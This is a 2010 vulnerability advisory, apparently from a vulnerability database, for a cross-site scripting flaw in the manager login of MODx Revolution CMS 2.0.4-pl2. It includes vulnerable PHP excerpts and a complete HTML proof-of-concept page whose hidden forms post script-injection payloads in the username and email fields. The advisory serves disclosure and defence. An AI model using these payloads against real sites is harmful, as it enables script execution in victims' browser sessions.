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MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability
<!--
Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability
Vendor: MODx, LLC.
Product web page: http://www.modxcms.com
Affected version: 2.0.4-pl2 (public launch 2)
Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
with custom code and helps you build sites faster and maintain them with ease. With Revolution
you'll leverage the best things to come around since MVC and Active Record.
Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
the "username" and "email" parameters via POST method in login.php script at the manager
login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.
#############################################################
-------------------------------------------------------------
/var/html/www/manager/controllers/default/security/login.php:
-------------------------------------------------------------
25: /* handle login */
26: if (!empty($_POST['login'])) {
27: $validated = true;
28:
29: $user = $modx->getObject('modUser',array(
30: 'username' => $_POST['username'],
31: ));
...
71: } else if (!empty($_POST['forgotlogin'])) {
72: $c = $modx->newQuery('modUser');
73: $c->select(array('modUser.*','Profile.email','Profile.fullname'));
74: $c->innerJoin('modUserProfile','Profile');
75: $c->where(array(
76: 'Profile.email' => $_POST['email'],
77: ));
-------------------------------------------------------------
Tested on: Fedora 10 (Cambridge)
Apache 2.2.14
PHP 5.2.10
MySQL 5.0.88
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID: ZSL-2010-4982
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php
Vendor Advisory URL: http://bugs.modx.com/issues/2918
05.12.2010
PoC:
--><html>
<head>
<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>
<link href="http://www.zeroscience.mk/favicon.ico" rel="Shortcut Icon" type="image/x-icon"/>
</head>
<body background="http://a1.twimg.com/profile_background_images/135331344/twzslbg.jpg">
<br/><br/><center><font color="gray">
<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></strong></strong></h3>
</font></center>
<script type="text/javascript">
function zsl_user()
{
document.forms["modx-login-form"].submit();
}
function zsl_mail()
{
document.forms["modx-fl-form"].submit();
}
</script>
<div id="The Form Of The Ninja" style="visibility:hidden">
<form action="http://example.com/manager/" enctype="application/x-www-form-urlencoded" id="modx-login-form" method="post" name="hack">
<input name="login_context" type="hidden" value="mgr"/>
<input name="modahsh" type="hidden" value=""/>
<input name="returnUrl" type="hidden" value="/manager/"/>
<input autocomplete="on" class="x-form-text x-form-field" id="modx-login-username" name="username" tabindex="1" type="text" value='"><script>alert("username param XSSed!")</script>'/>
<input autocomplete="on" class="x-form-text x-form-field" id="modx-login-password" name="password" tabindex="2" type="password"/>
<input autocomplete="on" checked="checked" class="x-form-checkbox x-form-field" id="modx-login-rememberme" name="rememberme" tabindex="3" type="checkbox" value="1"/>
<input name="login" type="hidden" value="1"/>
</form></div>
<br/><br/>
<a href="javascript: zsl_user();" style="text-decoration:none"><b>
<font color="red"></font></b><center><h3>1. Exploit "username" parameter!
<h3></h3></h3></center></a>
<div id="The Form Of The 2nd Ninja" style="visibility:hidden">
<form action="http://example.com/manager/" enctype="application/x-www-form-urlencoded" id="modx-fl-form" method="post" name="hack">
<input class="x-form-text x-form-field" id="modx-login-email" name="email" type="text" value='"><script>alert("email param XSSed!")</script>"'/>
</form></div>
<a href="javascript: zsl_mail();" style="text-decoration:none"><b>
<font color="red"></font></b><center><h3>2. Exploit "email" parameter!
<h3></h3></h3></center></a>
</body>
</html>
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06 Dec 2010 00:00Current
6.1Medium risk
Vulners AI Score6.1